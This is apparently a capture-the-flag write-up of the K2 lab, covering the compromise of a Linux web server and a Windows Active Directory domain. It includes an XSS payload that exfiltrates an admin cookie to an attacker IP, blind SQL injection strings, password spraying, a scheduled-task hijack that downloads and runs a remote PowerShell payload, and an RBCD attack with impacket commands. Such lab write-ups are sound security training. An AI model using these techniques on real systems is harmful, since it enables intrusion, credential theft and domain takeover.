K2 is a hard room made up of a network containing a Linux machine and 2 Windows with an AD. It allows you to practice basic attacks by confronting certain security equipment that you must try to bypass in order to achieve your goals.

Enumeration

As usual, we start by running an nmap scan to identify the machine’s open ports.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
└─$ nmap -A 10.10.18.124 -oA scan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-21 15:50 EDT
Nmap scan report for k2.thm (10.10.18.124)
Host is up (0.050s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fb:52:02:e8:d9:4b:83:1a:52:c9:9c:b8:43:72:83:71 (RSA)
| 256 37:94:6e:99:c2:4f:24:56:fd:ac:77:e2:1b:ec:a0:9f (ECDSA)
|_ 256 8f:3b:26:92:67:ec:cc:05:30:27:17:c5:df:9a:42:d2 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Dimension by HTML5 UP
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.34 seconds

We can see that the machine is running Linux and hosting a website. When we visit the website, we notice that it’s a showcase site with no interesting features.

We can then launch a vhost search to try and widen the attack surface, which uncovers two subdomains.

1
gobuster vhost -u "http://10.10.18.124" --domain K2.thm -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain

We then have access to a ticketing site with one part dedicated to users for submitting their tickets and the other part reserved for administrators for resolving tickets.

XSS to admin

After creating a user account, we try to submit a ticket with Javascript instructions to see if it’s possible to retrieve the cookie of an administrator accessing the ticket. Unfortunately, it seems that a WAF has been set up to block this kind of attack.


After several tests, we manage to find a code which, once submitted to the form, is not filtered and allows us to retrieve an administrator’s cookie.

1
2
<img src="x" onerror="var a=window['document'],b='cookie';new Image().src='http://10.21.110.163/?data='+btoa(a[b])">

This cookie is then used to authenticate to the platform and access users’ tickets.

Blind SQL Injection

After a few tests, the ticket search function seems to use a database to display only tickets with the title you’re looking for. We can therefore try SQL injection to retrieve information from the database. By testing a few classic payloads, we can see that some of them are blocked.

1
test' OR 1=1;- --

By testing other payloads, we can see that the filtering doesn’t seem to cover all payload types, which means that the site is vulnerable to a BLIND SQL injection with the following payload:

1
test' || 'a'='a

Noting that the payload must necessarily contain an even number of apostrophes, we can build a payload to retrieve the entire database based on Template and replace the condition in the middle with any condition:

1
title=test' || LENGTH(database())>0 || '0

With this script, you can retrieve the plaintext passwords of all application users.

Using the james password, we can obtain an ssh session on the server

James to Root

Once we’ve obtained the shell, we can check which groups James belongs to. You’ll notice that he’s in the adm group, which allows him to read files in the log folder.

1
2
3
james@k2:~$ id
uid=1002(james) gid=1002(james) groups=1002(james),4(adm)

Thus, by searching for the string pass in the /var/log folder, we quickly find a password that appears to be that of the user rose.

1
grep -Ri "pass" .

The password recovered is in fact not the password of the pink account but that of the root account, which makes it possible to compromise the machine

Pivoting to the second server

Once the first server has been compromised, we can retrieve the server’s user list and build a list of potential AD users.

Next, you can check which of these usernames are valid with kerbrute. This identifies two valid usernames.

Once I’d identified the AD usernames, I did some password spraying using the passwords I’d retrieved from the first server’s database, which enabled me to compromise the r.bud account.

This account can connect via winrm to the second machine. This allows us, using evil-winrm, to obtain a shell on the server.

r.bud to j.bold

After recovering remote access, I discovered a file explaining that james’ password had been changed to comply with the new password policy by adding a number and a special character to his basic password, which was rockyou.

So, by creating a wordlist containing james’ possible passwords, we can quickly compromise his account:

J.smith compromise

I then ran a bloodhound to identify the paths that could be used to compromise other accounts. The analysis shows that the account we’ve just compromised has GenericAll rights on the J.smith account. This means that we have write access to all the attributes of this object, and in particular to the password.

So, with the following command, we can change the password of the j.smith account and take control of it.

1
└─$ net rpc password "j.smith" "P@ssw0rd123" -U "k2.thm"/"j.bold"%"#8rockyou" -S "10.10.93.154"

Backup operator to domain admin

With the bloodhound, I had also identified that the j.smith account belonged to the backup operator group. Any member of this group can make a copy of any DC file without being restricted. As its name suggests, this group is used for backups, which explains the high permissions granted to group members. Normally, this group should always remain empty in order to limit its malicious exploitation. If an administrator wants to perform a backup, he or she can log into this group, perform the action he or she wants to perform and then log out of the group.

In this way, using the dedicated module on nxc, you can retrieve the DC’s SAM and LSA databases and compromise the domain.

1
nxc smb 10.10.93.154 -u j.smith -p 'P@ssw0rd123' -M backup_operator

Pivot to last server

Next, we can enumerate the domain’s users again, using the same technique as before, to identify the j.smith account.

By hash spraying with the account hashes previously retrieved from the NTDS database, we can compromise the j.smith account on the new server and see that it has winrm access to it.

Exploiting scheduled tasks

After enumerating the server, I discovered a backup.bat file which seems to run regularly to make a backup of a o.armstrong file.

1
2
3
4

*Evil-WinRM* PS C:\scripts> cat backup.bat
copy C:\Users\o.armstrong\Desktop\notes.txt C:\Users\o.armstrong\Documents\backup_notes.txt

As I didn’t have write access to this file, I couldn’t modify it directly.

On the other hand, I noticed that I did have write access to the folder, which enabled me to delete the current backup.bat file and replace it with a bat file that would allow me to recover a reverse shell if it were executed.

1
"powershell -NoP -WindowStyle Hidden -Command Invoke-WebRequest http://10.21.110.163/payload.ps1 -OutFile C:\scripts\payload.ps1; powershell -ExecutionPolicy Bypass -File C:\scripts\payload.ps1" | Out-File -FilePath C:\scripts\backup.bat -Encoding ASCII

So, by waiting a few minutes, I managed to get a reverse shell as o.armstrong.

I took advantage of this to retrieve the NTLMv2 hash of his password with responder, so that I could try to break it and gain direct access to his account.

1
PS C:\Windows\system32> dir \\10.11.72.22\test\

With john, I quickly managed to break this hash, which allowed me to ensure my persistence.

RBCD attack

Using this account, I mapped the domain with bloodhound and noticed that this account had GenericWrite rights on the DC machine account, which could be used to carry out an RBCD attack.

To carry out the attack, I started by adding a machine account on the :

1
2
3
4
5
└─$ impacket-addcomputer -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Password1!' -dc-host 10.10.57.227 -domain-netbios K2.LOCAL 'K2.LOCAL/o.armstrong:arMStronG08'

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Successfully added machine account ATTACKERSYSTEM$ with password Password1!.

Next, I modified the DC trust list for delegation to add the machine account I had just created.

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/ctf/thm/K2]
└─$ impacket-rbcd 'K2.LOCAL/o.armstrong:arMStronG08' -dc-ip 10.10.57.227 -delegate-to K2ROOTDC$ -delegate-from ATTACKERSYSTEM$ -action write

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] ATTACKERSYSTEM$ can now impersonate users on K2ROOTDC$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] ATTACKERSYSTEM$ (S-1-5-21-1966530601-3185510712-10604624-1116)

Once this was done, I was able to request a ticket by impersonating the domain administrator, which I then used to authenticate myself and compromise the domain.

1
2
3
4
5
6
7
8
9
10
└─$ impacket-getST K2.THM/'ATTACKERSYSTEM$':'Password1!' -impersonate administrator -spn 'cifs/K2ROOTDC.K2.THM' -dc-ip 10.10.57.227
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in administrator@[email protected]

1
2
┌──(kali㉿kali)-[~/ctf/thm/K2]
└─$ export KRB5CCNAME=administrator@[email protected]